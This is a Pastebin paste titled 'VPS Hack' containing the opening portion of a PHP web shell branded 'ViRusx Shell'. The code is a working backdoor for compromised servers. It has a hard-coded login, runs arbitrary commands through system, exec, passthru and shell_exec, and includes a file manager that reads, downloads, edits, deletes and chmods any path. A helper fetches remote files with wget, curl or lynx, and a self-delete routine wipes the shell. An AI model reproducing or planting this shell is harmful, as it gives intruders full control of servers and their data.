cym99

VPS Hack

Jul 28th, 2018
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 251.03 KB | None | 0 0
  1. <?php
  2. $uselogin = 1;
  3. $user = 'VIRUSX';
  4. $pass = 'SuXoR';
  5. $color = "#00ff00";
  6. if($_POST['id']== 'logout')
  7. {
  8. Logout();
  9. }
  10. if($_POST['id'] == 100)
  11. {
  12. echo "<body onload='Suicide();'>";
  13. }
  14. if($_POST['id'] == 'Delete')
  15. {
  16. Suicide();
  17. }
  18.  
  19. if ($uselogin ==1)
  20. {
  21. if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass))
  22. {
  23. if($_POST[usrname]==$user && $_POST[passwrd]==$pass)
  24. {
  25. print'<script>document.cookie="user='.$_POST[usrname].';";document.cookie="pass='.md5($_POST[passwrd]).';";</script>';
  26. }
  27. else
  28. {
  29. if($_POST['usrname'])
  30. {
  31. print'<script>alert(" LOL :v ");</script>';
  32. }
  33. echo '
  34. <head>
  35. <style>.title{font-weight:bold;letter-spacing:1px;font-family: "orbitron";color: #00fcff;font-size:20px;text-shadow: 8px 8px 8px color:#ff0c00;}input[type=text]{-moz-box-shadow:0 0 1px black;-webkit-box-shadow:0 0 1px black;height:20px;margin-left: 5px;}input:focus, textarea:focus ,button:active{box-shadow: 0 0 5px #4C83AF;-webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);-moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);background:#222222;overflow: auto;}#menu{font-family:orbitron;background: #0557ff;margin:5px 2px 4px 2px;}div #menu li:hover {cursor:pointer;}div#menu li:hover>ul a:hover{width:118;background:red;}div#menu ul {margin:0;padding:0;float:left;-moz-border-radius: 6px; border-radius: 12px; border:1px solid #555555;}div#menu li {position:relative;display:block;float:left;}div#menu li:hover>ul {left:0px;border-left:1px solid white;}div#menu a{display:block;float:left;font-family:orbitron;padding:4px 6px;margin:0;text-decoration:none;letter-spacing:1px;color:white;}div#menu a:hover{background:rgba(160, 82, 45,0.3);font-family:orbitron;border-bottom:0px;}div#menu ul ul {position:absolute;top:18px;left:-990em;width:130px;padding:5px 0 5px 0;background:#8eb2fb;margin-top:2px;}div#menu ul ul a {padding:2px 2px 2px 10px;height:20px;float:none;display:block;color:black;}.k2ll33d2 {text-align: center;letter-spacing:2px;font-family: "orbitron";color: #fb0a10;font-size:30px;text-shadow: 5px 5px 5px color:#ffff00;} .mybox{-moz-border-radius: 10px; border-radius: 10px;border:1px solid #EC4D00; padding:4px 2px;width:70%;line-height:24px;background:#111111;box-shadow: 0px 4px 2px white;-webkit-box-shadow: 0px 4px 2px #ffffff;-moz-box-shadow: 0px 4px 2px #ffffff;}.myboxtbl{ width:50%; }body{background:#060606 url(http://assets.razerzone.com/eeimages/assets/images/common/honeycomb-bg.jpg) repeat center center fixed;} a {text-decoration:none;} hr, a:hover{border-bottom:1px solid #4C83AF;} *{text-shadow: 0pt 0pt 0.3em rgb(153, 153, 153);font-size:11px;font-family:Tahoma,Verdana,Arial;color:#FFFFFF;} .tabnet{margin:15px auto 0 auto;border: 1px solid #333333;} .main {width:100%;} .gaya {color: #888888;} .top{border-left:15px solid #a4a59d;border-RIGHT:15px solid #a4a59d;font-family:verdana;} .inputz, option{outline:none;transition: all 0.20s ease-in-out;-webkit-transition: all 0.20s ease-in-out;-moz-transition: all 0.20s ease-in-out;border:1px solid rgba(0,0,0, 0.2);background:#504d4d; border:0; padding:2px; border-bottom:1px solid #393939; font-size:15px; color:#eaff00; -moz-border-radius: 6px; border-radius: 12px; border:1px solid #0090af;margin:4px 0 8px 0;} .inputzbut{background:#111111;color:#8f8f8f;margin:0 4px;border:1px solid #555555;} .inputzbut:hover{background:#222222;border-left:1px solid #4C83AF;border-right:1px solid #4C83AF;border-bottom:1px solid #4C83AF;border-top:1px solid #4C83AF;}.inputz:hover{ -moz-border-radius: 6px; border-radius: 10px; border:1px solid #4C83AF;margin:4px 0 8px 0;border-bottom:1px solid #4C83AF;border-top:1px solid #4C83AF;}.output2 {margin:auto;border:1px solid #888888;background:#000000;padding:0 2px;} textarea{margin:auto;border:2px solid #555555;background:#000000;padding:0 2px;} .output {margin:auto;border:1px solid #303030;width:100%;height:400px;background:#000000;padding:0 2px;} .cmdbox{width:100%;}.head_info{padding: 0 4px;} .b1{font-size:30px;padding:0;color:#555555;} .b2{font-size:30px;padding:0;color:#800000;} .b_tbl{text-align:center;margin:0 4px 0 0;padding:0 4px 0 0;border-right:1px solid #333333;} .phpinfo table{width:100%;padding:0 0 0 0;} .phpinfo td{background:#111111;color:#cccccc;padding:6px 8px;;} .phpinfo th, th{background:#191919;border-bottom:1px solid #333333;font-weight:normal;} .phpinfo h2, .phpinfo h2 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222222;padding:4px 0;} .explore{width:100%;} .explore a {text-decoration:none;} .explore td{border-bottom:3px solid #abaaa8;padding:0 13px;line-height:24px;} .explore th{padding:9px 12px;font-weight:normal;color:#ff0000;} .explore th:hover , .phpinfo th:hover, th:hover{color:black;background:#bfeb0d;} .explore tr:hover{background:rgba(35,96,156,0.2);} .viewfile{background:#EDECEB;color:#000000;margin:4px 2px;padding:8px;} .sembunyi{display:none;padding:0;margin:0;} k, k a, k a:hover{text-shadow: 0pt 0pt 0.3em red;font-family:orbitron;font-size:25px;color:#a2ff00;}</style><body onLoad="document.getElementById(\'cmd\').focus();"><div class="main"><div class="head_info"> <table width="100%"><tr><td width="23%"><table class="b_tbl">
  36. </head>
  37. <center><h2 style="font-family: Orbitron;
  38. text-shadow: 5px 5px 5px;
  39. font-size: xx-large;
  40. color: #0ad6fb">
  41. ViRusx ShEll
  42. </h2></center>
  43.  
  44. <title>ViRusx - Shell</title>
  45. <body bgcolor="#040404">
  46. <div align="center">
  47. <img id=WIKO src="3258blackcat.png" width="300" height="300">
  48.  
  49. <div align="center">
  50.  
  51. </div>
  52. <form method="POST" onSubmit="if(this.usrname.value==\'\'){return false;}">
  53. <input class="inputz "dir="ltr" name="usrname" value="User" type="text" size="40" onFocus="if (this.value == \'User\'){this.value = \'\';}"/><br>
  54. <input class="inputz" dir="ltr" name="passwrd" value="Password" type="password" size="40" onFocus="if (this.value == \'Password\') this.value = \'\';" /><br>
  55. <br><input type="submit" value=" Login " name="login" />
  56. </form></p>
  57. <div class="footer">
  58. <h3 style="text-align: center;">&copy; XMirical&nbsp;&nbsp;<a href="http://facebook.com/" target="_blank"><img src="ava.jpg" width=30></a></h3>
  59. </div>
  60. </center>
  61.  
  62. ';
  63. echo '
  64. <style type="text/css">
  65. <!--
  66. .style1 {
  67. font-family: Arial, Helvetica, sans-serif;
  68. font-weight: bold;
  69. font-size: 12px;
  70. }
  71. ' ;
  72. exit;
  73. }
  74. }
  75. }
  76. set_time_limit(0);error_reporting(0);
  77. if(isset($_GET["dl"]) && ($_GET["dl"] != "")){$file = $_GET["dl"];$filez = @file_get_contents($file);header("Content-type: application/octet-stream");header("Content-length: ".strlen($filez));header("Content-disposition: attachment;filename=".basename($file).";");echo $filez;exit;}
  78. elseif(isset($_GET["dlgzip"]) && ($_GET["dlgzip"] != "")){$file = $_GET['dlgzip'];$filez = gzencode(@file_get_contents($file));header("Content-Type:application/x-gzip\n");header("Content-length: ".strlen($filez));header("Content-disposition: attachment;filename=".basename($file).".gz;");echo $filez;exit;}
  79. if(isset($_GET["img"])){@ob_clean();$d = magicboom($_GET["y"]);$f = $_GET["img"];$inf = @getimagesize($d.$f);$ext = explode($f,".");$ext = $ext[count($ext)-1];@header("Content-type: ".$inf["mime"]);@header("Cache-control: public");@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));@header("Cache-control: max-age=".(60*60*24*7));@readfile($d.$f);exit;} $software = getenv("SERVER_SOFTWARE");
  80. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;else $safemode = FALSE;$system = @php_uname();if(strtolower(substr($system,0,3)) == "win")
  81. $win = TRUE;else $win = FALSE;if(isset($_GET['y'])){if(@is_dir($_GET['view'])){$pwd = $_GET['view'];@chdir($pwd);} else{$pwd = $_GET['y'];@chdir($pwd);} }
  82. if(!$win){if(!$user = rapih(exe("whoami")))$user = "";if(!$id = rapih(exe("id"))) $id = "";$prompt = $user." \$ ";$pwd = @getcwd().DIRECTORY_SEPARATOR;}
  83. else {$user = @get_current_user();$id = $user;$prompt = $user." &gt;";$pwd = realpath(".")."\\";$v = explode("\\",$d);$v = $v[0];foreach (range("A","Z") as $letter) {$bool = @is_dir($letter.":\\");if ($bool){$letters .= "<a href='?y=".$letter.":\\'>[ ";if ($letter.":" != $v){$letters .= $letter;} else {$letters .= "<span class='gaya'>".$letter."</span>";} $letters .= " ]</a> ";}}}
  84. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  85. else $posix = FALSE;$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);$my_ip = $_SERVER['REMOTE_ADDR'];$bindport = "13123";$bindport_pass = "k2ll33d";$pwds = explode(DIRECTORY_SEPARATOR,$pwd);$pwdurl = "";for($i = 0 ;$i < sizeof($pwds)-1 ;$i++){$pathz = "";for($j = 0 ;$j <= $i ;$j++){$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;} $pwdurl .= "<a href='?y=".$pathz."'>".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";}
  86. if(isset($_POST['rename'])){$old = $_POST['oldname'];$new = $_POST['newname'];@rename($pwd.$old,$pwd.$new);$file = $pwd.$new;} if(isset($_POST['chmod'])){
  87. $name = $_POST['name'];$value = $_POST['newvalue'];if (strlen($value)==3){$value = 0 . "" . $value;}@chmod($pwd.$name,octdec($value));$file = $pwd.$name;}
  88. if(isset($_POST['chmod_folder'])){$name = $_POST['name'];$value = $_POST['newvalue'];if (strlen($value)==3){$value = 0 . "" . $value;}@chmod($pwd.$name,octdec($value));$file = $pwd.$name;} $buff = "&nbsp;".$software."<br>";$buff .= "&nbsp;".$system."<br>";if($id != "") $buff .= "&nbsp;".$id."<br>";if($safemode) $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#DD4736'>ON</font></b><br>";else $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#00FF00'>OFF</font></b><br>";
  89. function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#ff0000'>OFF</font></b>";}}
  90. function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
  91. function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
  92. function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
  93. function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
  94. $buff .= "&nbsp;MySQL: ".testmysql()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";
  95. $buff .= "&nbsp;".$letters."&nbsp;&gt;&nbsp;".$pwdurl;
  96. function rapih($text){return trim(str_replace("<br>","",$text));}
  97. function magicboom($text){if (!get_magic_quotes_gpc()){return $text;} return stripslashes($text);}
  98. function showdir($pwd,$prompt){$fname = array();$dname = array();
  99. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
  100. $posix = TRUE;else $posix = FALSE;$user = "????:????";
  101. if($dh = opendir($pwd)){while($file = readdir($dh)){
  102. if(is_dir($file)){$dname[] = $file;}
  103. elseif(is_file($file)){$fname[] = $file;}}closedir($dh);} sort($fname);sort($dname);$path = @explode(DIRECTORY_SEPARATOR,$pwd);$tree = @sizeof($path);$parent = "";
  104. $buff = " <form action='?y=".$pwd."&amp;x=shell' method='post' style='margin:8px 0 0 0;'><table class='cmdbox' style='width:50%;'><tr><td>$prompt</td><td><input onMouseOver='this.focus();' id='cmd' class='inputz' type='text' name='cmd' style='width:400px;' value='' /><input class='inputzbut' type='submit' value='execute !' name='submitcmd' style='width:80px;' /></td></tr></form><form action='?' method='get' style='margin:8px 0 0 0;'><input type='hidden' name='y' value='".$pwd."' /><tr><td>view file/folder</td><center><td><input onMouseOver='this.focus();' id='goto' class='inputz' type='text' name='view' style='width:400px;' value='".$pwd."' /><input class='inputzbut' type='submit' value='view !' name='submitcmd' style='width:80px;' /></td></center></tr></form></table><table class='explore'> <tr><th>NAME</th><th style='width:80px;'>SIZE</th><th style='width:210px;'>OWNER:GROUP</th><th style='width:80px;'>CHMOD</th><th style='width:110px;'>MODIFIED</th><th style='width:190px;'>ACTIONS</th></tr> ";
  105. if($tree > 2)
  106. for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
  107. else $parent = $pwd;
  108. foreach($dname as $folder){
  109. if($folder == ".") {
  110. if(!$win && $posix){$name=@posix_getpwuid(@fileowner($folder));$group=@posix_getgrgid(@filegroup($folder));$owner = $name['name']."<span class='gaya'> : </span>".$group['name'];}
  111. else {$owner = $user;}
  112. $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>-</td>
  113. <td style=\"text-align:center;\">".$owner."</td>
  114. <td><center>".get_perms($pwd)."</center></td>
  115. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
  116. <a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a>
  117. </span><form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  118. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  119. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  120. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
  121. </form></td></tr> ";}
  122. elseif($folder == ".."){
  123. if(!$win && $posix)
  124. {$name=@posix_getpwuid(@fileowner($folder));$group=@posix_getgrgid(@filegroup($folder));
  125. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];}
  126. else { $owner = $user; }
  127. $buff .= "<tr><td>
  128. <a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAACXBIWXMAAArwAAAK8AFCrDSYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAANJSURBVHjafJTNa11FGMZ/73ycm4+T5Kb5NDFNYhuEVimNbQiILaJSd1IKrsSF/0BX8R9QUFeuupDSjejKnZYqLkQr2pZaSXGhyapEmzRNa3KT5vSee87MuDhz8SLYgYcZmOHH+84880ia5QnQBfRGpQFqw0pmGj48KGBXIAeyqMdACygBFxUAJM3yXqAfqAMHSkhHlcwvJPadq3lx4VEIG6qC7QI7cW5Dc6CIQC9plg8BQ8BYgHEjMvlSYs4PKpm50iw+2Q1hXcO+wLaGbeDvDuge0IxQJ2mWTwDjwMECJp63+s2jRp92wHLhllshPFLQbAbubnn/m4d1XcEeRHAjVtqSNMtngKkSpia0enUxMW8r0AGQDpVQNnzY+L1036w7f93AfWAzQneATNIsn/PwdK/I/IuJWepXMuaohgA63q6Paw/udlFeXi39lwY2qLQFNCTN8rkiMDpfM0tHtHqjyb/Dgdv2oZEIti7SRwQL+Jut8rM7zn8dgevAQ0mzfNbDU/1KFp+z+q1JpY57QAH3vN/5sVnesgo7odXQMWOetYIRYC+Ere+bxYctWBX4E9iUNMsngTEH4wqmnzH6tSNGn0mFnjXvN39olt9aobsAprSaXEjMSU0FvNEqL605f8VUld1tW6MerTFcwsABkcPHE30uIL3fNYuLVqgHSMtAciLRpw4bPaeAXwt3+Y/CfWqFDeAvSbM8jc6vR/P2OUgS6BvR6tCG82tS7Q2Wgf5Zq144Yc0rBrhVuK9WKthmG5YANaA7qgYkAbQH0REEjJQwOK3VwsnEnLUgvxTui9XCfW6FrXabKr66Aex/5gToA4aBsSLQf9Tqs8esPpND8VNefHDfhxu68ts9SbO8bSnVIRPVHVsfCTCsYfRUl10aE5m74/y1a63yYwUPo3m32rA2sNOrJt7lADDcgp5DRr++aPW7+4HNq3nxXiOElY6vtdMJ64Sq2GIPUC8hTUUOvlwzFxOwPxflR+su3LRVcmzH77T3JFgN6HHQ3QX10zV7oSZMXm+V72/6sGKqPNuN2gce/x9MA4mHZEDJ6Lw153NC1+1WeWkvsGeqM1kbEmOoeBLMeDDDSmZ7RabXnF/2YHVVddGRY612QP4zAI/Wbtn9fTDjAAAAAElFTkSuQmCC'></a></td><td>-</td>
  129. <td style=\"text-align:center;\">".$owner."</td>
  130. <td><center>".get_perms($parent)."</center></td> <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
  131. <td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
  132. <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  133. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  134. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  135. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
  136. </form></td></tr>";}else{if(!$win && $posix){
  137. $name=@posix_getpwuid(@fileowner($folder));
  138. $group=@posix_getgrgid(@filegroup($folder));
  139. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];}
  140. else { $owner = $user; }
  141. $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAMQSURBVHjaPM9LaFx1GIbx53/OnLlnLkmcpJ2ZTOzQpG0smogLLYqkaMG2xlqLFhQXFRRNEaTQRdF62bj3UgR3tlDQgqUiXkBcqFHTFpp7k2YyNtSYi8nMOLeTOed8Luak7/rjx/coEWH3Hqi/Ao8N0RbR6WoIqupg/1ll7qZJFVAIomngE/D+DqlzMDEJSkQIfwK7HkY7lODl1QaNgoMT1GjVFJ4Fk1kF6CARDRONOyNF5gu/YRWHXWDbS9D5FsaT7bw2UeXX3CYq66c/42VQBBsQj2IzqIFPoU3XeffGWW7fvOACHWeh51niD8Y5tWaxXnGIVh18UzVGaw6mAuVAoctL9UCE12/V+fDaeWYX3nOB6FfQ10OiO8TzP5SYtITtjhB2QAMQEEsoJAwqx+K8MF7m9LVpFtePukByGILPENh7L2/+XKRiOkR1RVSB2gIcoRTzYA610j/+NyfnLrC29JELtJyDUA881MXJq2XSZYuErhFDaE6BLRTDOqtPt9L27xrDjVkql4+7QOIitARh7x6eG6/y+KpJxqtISTNBFNAQ7gQ8TB+JIWE4HfPjnNnmAvtOAHEInWCnqThVsukxoE9XBAFsodaAqaBi7v4Alzs0rng0OJN2Ad9oM9RQoAwO2MK+jM6xRwx2acBIg/mczUVDcTUJV3aHsAEu7XSBwFPvoNkhjP1HaDzQMqhq5vFwNDL48Y7WHV4Fb+Q2bq8Xiz8pr/GlPlX7tv7d11iqhP39+01AKYUO3enuzKdGtm//cv8T3tLKGodffBWvR+fSF58RjkXovDVqycQfvyzm88ObwqSINAFd12OpdPp8S8B/sKF7qT06RCWUoBzvBKUIbfxDsLZOaOQbPOUCpu1cz+fzhyzLWtr6IJFMJj8fGBg4HA4GQAQrHMXSvQB4HAtPuQBAtW4yNjY2urCwcFREFu8mAKn29vYPent7D2az2Xu2d3YQi0RQSlEs/cfS8jLzudzGzMzMjysrK28Ds3cTXGBrKaXUfT6fL+P3+9sAZZrmhmmaecdxJoG/tg5FhP8HAPJFafDS/x8SAAAAAElFTkSuQmCC' /> $folder</a>
  142. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  143. <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  144. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
  145. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  146. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
  147. </form> </td><td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td><center>
  148. <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
  149. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  150. <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  151. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
  152. <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
  153. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
  154. onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a>| <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a>
  155. </td>
  156. </tr>";}}
  157. foreach($fname as $file){
  158. $full = $pwd.$file;
  159. if(!$win && $posix){$name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];}
  160. else { $owner = $user; }
  161. $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAPuSURBVHjaXNJNbFRlFMbx/3vvna87M51pGQrpTGGgggq1UCwaAgGCmlhDDFFQNi5c4Na1iW5caOJG3ZgY4kZlg18RRCSBCsZSoWi1MH5MRArTlmEoTDtfvXfm3ve4QGDiWb7J+eXN8xwlIgBkDqCqe6HRifRHCQyG6QlBVEAElAu60OLG2QYLjoDpI9EKRL8Ao45MfwzqLmaMoCSOsi30vgQbui2G65qKgNKgYwarDWh+V+H9iw4LKDwUmEW0WUXcF9swdRZFCCsMak+C7Z6Q+rHBuBaCQHPIZutDEZ4qtjg1UuFIsYVDFImfxk2eRq4dRu5j32PQQcgQIrvibAwY9J1cYMIHUwS9PkLfUJRtSYulk3U+HKkxQRQvfpx68iRy7dt27BwGJjGE5GCUdUstNv3hMBtSRJQCC4wOk2gmyPJbLc6fqTEmQSr2BAvRCXTpvfbMRjEkQCeKFX1hHsmGeLQl2J0WqbslzHvMmVC95ZG/1GBcNAUM5jDRsqkNC3+OctOkMNmQDrF5dYj111zmAwaWUigAx6fZGyZZanLlssOoePwWLFHEA/f5NizyGThpOjHZsiTAjgciDHpCMGESBzRgVDV1E9xCk9yMwwg+Y8EiN5UHzgvtbZ4DJYRF2BYL8OTDNjvLLSzTwDIE0QrDE7wlFvpvh9HbLieU4gcxqAPIY+2ZjQEKBDaFDJ5ZF2VYNL1hk7BWmAaI47NoGRT/anCi6nNUGZxHEADdjgVOAQJejLRl8Gx/lN2iGfQh0aWIzAuuD/O2Se5SjWOLmi8NzVWCAOAPtf/slzuPAkGEHV0BtvYF2L3RYmOviTnro3/1yF3x+OZGk1GEEQKyqC5PQbOJ3v9gWwEvvUEQTaR/kMWhbcOqWtvTjCUff3XFkoGXE0odroi8U7j9p6ou/KTCgWPa0V+ZRw7qyqF3EbeBFrmPxZTCDrGzu3fl697A9i2ltZvtcqFA//A+Xtm6mU8uXGT8609JLF9O9/W8Y10am6j88/vb16utoxqQdqyrq+u5RCL5kTiNpPT2Udu1n3q5RrM7A+nVqNmrWMWr2J1x4heOY148B7GO5ny5vKfVap2p1WqNe1hPT89ba9asec20LDxnET+Zwl25DtfuoOVDwFQEnSqhQh7r5ixWOIxSisnJyTfL5fIhz/Py9zDLsp7IZrMfDAwMrF22bBl2KIgp+s7pqzvNAPhKsdjyKZVK5HK56/l8fq/v+z+LiHv/aJUCWGXb9oFMJvN0NptdlUmnY6lUyorYNq7rMjc358/MzNSnpqYK09PTJ6vV6kEgx/8z+w+7OzEgC/QqpZYqpcIi0hSRW0ABmALm2xdEhH8HAMq6+erIzOgqAAAAAElFTkSuQmCC' /> $file</a>
  162. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  163. <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" /><input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" /><input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /><input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
  164. </form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
  165. <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
  166. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  167. <input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  168. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
  169. <input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
  170. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
  171. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
  172. <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a>| <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gz</a>)
  173. </td></tr>";}
  174. $buff .= "</table>"; return $buff;}
  175. function ukuran($file){if($size = @filesize($file)){if($size <= 1024) return $size;else{if($size <= 1024*1024) {$size = @round($size / 1024,2);;
  176. return "$size kb";} else {$size = @round($size / 1024 / 1024,2);return "$size mb";}}}
  177. else return "???";} function exe($cmd){if(function_exists('system')) {@ob_start();@system($cmd);$buff = @ob_get_contents();$buff = @ob_get_contents();@ob_end_clean();
  178. return $buff;} elseif(function_exists('exec')) {@exec($cmd,$results);$buff = "";foreach($results as $result){$buff .= $result;} return $buff;}
  179. elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$buff = @ob_get_contents();@ob_end_clean();return $buff;}
  180. elseif(function_exists('shell_exec')){$buff = @shell_exec($cmd);return $buff;}} function tulis($file,$text){$textz = gzinflate(base64_decode($text));if($filez = @fopen($file,"w")) {@fputs($filez,$textz);@fclose($file);}}
  181. function ambil($link,$file) {if($fp = @fopen($link,"r")){while(!feof($fp)){$cont.= @fread($fp,1024);}@fclose($fp);$fp2 = @fopen($file,"w");@fwrite($fp2,$cont);@fclose($fp2);} }
  182. function which($pr){$path = exe("which $pr");
  183. if(!empty($path)) {return trim($path);}
  184. else {return trim($pr);}}
  185. function download($cmd,$url){$namafile = basename($url);
  186. switch($cmd){case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;case 'wfread' : ambil($wurl,$namafile);break;case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;default: break;}
  187. return $namafile;}function get_perms($file) {if($mode=@fileperms($file)){$perms='';$perms .= ($mode & 00400) ? 'r' : '-';$perms .= ($mode & 00200) ? 'w' : '-';$perms .= ($mode & 00100) ? 'x' : '-';$perms .= ($mode & 00040) ? 'r' : '-';$perms .= ($mode & 00020) ? 'w' : '-';$perms .= ($mode & 00010) ? 'x' : '-';$perms .= ($mode & 00004) ? 'r' : '-';$perms .= ($mode & 00002) ? 'w' : '-';$perms .= ($mode & 00001) ? 'x' : '-';
